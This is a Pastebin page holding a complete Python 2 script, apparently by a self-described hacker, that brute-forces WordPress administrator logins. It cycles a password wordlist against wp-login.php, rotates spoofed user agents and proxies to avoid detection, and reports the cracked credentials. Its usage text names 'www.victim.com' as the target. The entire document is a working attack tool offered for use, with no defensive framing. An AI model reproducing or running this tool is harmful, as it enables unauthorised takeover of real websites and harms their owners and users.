M-A

wpbrut

M-A
Aug 12th, 2012
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.22 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import os
  4. import sys
  5. import warnings
  6. import re
  7. import random
  8.  
  9. try:
  10.     import mechanize
  11. except ImportError:
  12.     print "[*] please install mechanize python module first"
  13.     sys.exit(1)
  14. except KeyboardInterrupt:
  15.     print "\n[*] exiting program...\n"
  16.     sys.exit(1)
  17. try:
  18.     import cookielib
  19. except ImportError:
  20.     print "[*] please install cookielib python module first"
  21.     sys.exit(1)
  22. except KeyboardInterrupt:
  23.     print "\n[*] exiting program...\n"
  24.     sys.exit(1)
  25.  
  26. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  27.  
  28. # def var
  29. uproxy    = False
  30. passproxy = False
  31. verbose = False
  32. log     = 'WJFbruteforcer.log'
  33. gaza        = open(log, "a")
  34.  
  35. useragents    = ['Mozilla/4.0 ( MSIE 7.0; Windows NT 5.1)',
  36.         'Mozilla/4.0 (MSIE 5.0; SunOS 5.10 sun4u; X11)',
  37.         'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty)',
  38.         'Mozilla/4.0 (MSIE 5.5; Windows NT 5.0)',
  39.             'Mozilla/4.0 (MSIE 7.0b; Windows NT 5.1)',
  40.             'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  41.             'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  42.             'Opera/8.00 (Windows NT 5.1; U; en)',
  43.         'Mozilla/4.0 (MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  44.         'Mozilla/4.0 (MSIE 5.5; Windows NT)',
  45.         'Mozilla/5.0 (Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  46.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  47.         'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 [email protected])',
  48.         'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  49.         ]
  50.  
  51. WJF = '''
  52. #....................................#
  53. #....##........##.....##.########....#
  54. #....##........##.....##.##..........#
  55. #....##........##.....##.##..........#
  56. #....##...##...##.....##.#####.......#
  57. #....##..#..#..##.##..##.##..........#
  58. #....##.#....#.##.##..##.##..........#
  59. #....##........##.######.##.. v1.0,..#
  60. #------------------------------------#
  61. #------------------------------------#
  62. #---------- By zero_cool ------------#
  63. #------<<WwW-GaZa-HacKeR.NeT>>-------#
  64.     '''
  65.  
  66. option          = '''
  67. Usage  : %s [options]
  68. Option : -u, --username     <username>        :   User for bruteforcing
  69.         -w, --passwordlist     <filename>        :   Wordlist used for bruteforcing
  70.         -v, --verbose              :   Set %s will be verbose
  71.         -p, --proxy        <host:port>   :    http proxy
  72.         -b, --usernameproxy    <username>    :   username  proxy
  73.         -g, --passproxy    <password>    :   password proxy
  74.         -l, --log      <filename>    :output filename (default : WJFbruteforcer.log)
  75.         -h, --help         <help>            :   Print this help
  76.         -s, --site         <site>        : site to attack
  77. Example : %s -s www.victim.com -u admin -w passwordlist.txt"
  78.  
  79. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  80. mg         = '''
  81. Usage : %s [option]
  82.   -h or --help for get help
  83.   ''' % sys.argv[0]
  84. def mig():
  85.    print WJF
  86.    print option
  87.    gaza.write(WJF)
  88.    gaza.write(option)
  89.    sys.exit(1)
  90.  
  91. def miig():
  92.    print WJF
  93.    print mg
  94.    gaza.write(WJF)
  95.    gaza.write(mg)
  96.    sys.exit(1)
  97.  
  98. for arg in sys.argv:
  99.    try:
  100.       if arg.lower() == '-u' or arg.lower() == '--user':
  101.                username = sys.argv[int(sys.argv[1:].index(arg))+2]
  102.       elif arg.lower() == '-s' or arg.lower() == '--site':
  103.                site    = sys.argv[int(sys.argv[1:].index(arg))+2]
  104.       elif arg.lower() == '-w' or arg.lower() == '--passwordlist':
  105.                passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  106.       elif arg.lower() == '-l' or arg.lower() == '--log':
  107.                log = sys.argv[int(sys.argv[1:].index(arg))+2]
  108.       elif arg.lower() == '-p' or arg.lower() == '--proxy':
  109.                uproxy = True
  110.                proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  111.       elif arg.lower() == '-b' or arg.lower() == '--userproxy':
  112.                passproxy = True
  113.                py = sys.argv[int(sys.argv[1:].index(arg))+2]
  114.       elif arg.lower() == '-g' or arg.lower() == '--passproxy':
  115.                passproxy = True
  116.                pw = sys.argv[int(sys.argv[1:].index(arg))+2]
  117.       elif arg.lower() == '-v' or arg.lower() == '--verbose':
  118.                verbose = True
  119.       elif arg.lower() == '-h' or arg.lower() == '--help':
  120.                mig()
  121.       elif len(sys.argv) <= 1:
  122.                miig()
  123.    except IOError:
  124.       mig()
  125.    except NameError:
  126.       mig()
  127.    except IndexError:
  128.       mig()
  129. WJFlogin = 'http://'+site+'/wp-login.php'
  130. WJFsuccess = 'http://'+site+'/wp-admin/'
  131.  
  132. def brute(passwd):
  133.    try:
  134.       sys.stdout.write("\r[*] trying %s..." % passwd)
  135.       gaza.write("[*] trying %s\n" % passwd)
  136.       sys.stdout.flush()
  137.       br.addheaders = [('User-agent', random.choice(useragents))]
  138.       opensite = br.open(WJFlogin)
  139.       br.select_form(nr=0)
  140.       br.form['log'] = username
  141.       br.form['pwd'] = passwd
  142.       br.submit()
  143.       x = br.geturl()
  144.       if x == WJFsuccess:
  145.           print "\n\n[*] Passowrd found...!!!"
  146.           print "[*] Username : %s" % (username)
  147.           print "[*] Password : %s\n" % (passwd)
  148.           gaza.write("\n[*] password found !!!!...")
  149.           gaza.write("\n[*] password : %s" % (username))
  150.           gaza.write("\n[*] password : %s\n\n" % (passwd))
  151.           sys.exit(1)
  152.    except KeyboardInterrupt:
  153.       print "\n[*] exiting program...\n"
  154.       sys.exit(1)
  155.    except mechanize._mechanize.FormNotFoundError:
  156.       print "\n[*] wordpress changing their system , please report bug at [email protected] "
  157.       gaza.write("\n[*] wordpress  changing their system, please report bug at [email protected]\n")
  158.       sys.exit(1)
  159.    except mechanize._form.ControlNotFoundError:
  160.       print "\n[*] wordpress their system, please report bug at [email protected]\n"
  161.       gaza.write("\n[*] wordpress  changing their system, please report bug at [email protected]\n")
  162.       sys.exit(1)
  163.  
  164. def point():
  165.    global passwd
  166.    for passwd in passwords:
  167.        brute(passwd.replace("\n",""))
  168.  
  169. def main():
  170.    global br
  171.    global passwords
  172.    try:
  173.        br = mechanize.Browser()
  174.        cj = cookielib.LWPCookieJar()
  175.        br.set_cookiejar(cj)
  176.        br.set_handle_equiv(True)
  177.        br.set_handle_gzip(True)
  178.        br.set_handle_redirect(True)
  179.        br.set_handle_referer(True)
  180.        br.set_handle_robots(False)
  181.        br.set_debug_http(False)
  182.        br.set_debug_redirects(False)
  183.        br.set_debug_redirects(False)
  184.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  185.        if uproxy:
  186.            br.set_proxies({"http": proxy})
  187.        if passproxy:
  188.            br.add_proxy_password(pw, py)
  189.        if verbose:
  190.            br.set_debug_http(True)
  191.            br.set_debug_redirects(True)
  192.            br.set_debug_redirects(True)
  193.    except KeyboardInterrupt:
  194.        print "\n[*] exiting program...\n"
  195.        gaza.write("\n[*] exiting program...\n")
  196.        sys.exit(1)
  197.    try:
  198.        preventstrokes = open(passwordlist, "r")
  199.        passwords          = preventstrokes.readlines()
  200.        count          = 0
  201.        while count < len(passwords):
  202.            passwords[count] = passwords[count].strip()
  203.            count += 1
  204.    except IOError:
  205.        print "\n[*] error: check your passwordlist path\n"
  206.        gaza.write("\n[*] error: Check your passwordlist path\n")
  207.        sys.exit(1)
  208.    except NameError:
  209.        mig()
  210.    except KeyboardInterrupt:
  211.        print "\n[*] exiting program...\n"
  212.        gaza.write("\n[*] exiting program...\n")
  213.        sys.exit(1)
  214.    try:
  215.        print WJF
  216.        print "[*] username to attacking :  %s" % (username)
  217.        print "[*] loaded :",len(passwords),"passwords"
  218.        print "[*] attacking, please wait..."
  219.        gaza.write(WJF)
  220.        gaza.write("\n[*] username to attacking %s" % (username))
  221.        gaza.write("\n[*] loaded : %d passwords" % int(len(passwords)))
  222.        gaza.write("\n[*] attacking, please wait...\n")
  223.    except KeyboardInterrupt:
  224.        print "\n[*] exiting program...\n"
  225.        sys.exit(1)
  226.    try:
  227.        point()
  228.        brute(passwd)
  229.    except NameError:
  230.        mig()
  231.  
  232. if __name__ == '__main__':
  233.    main()
Advertisement
Add Comment
Please, Sign In to add comment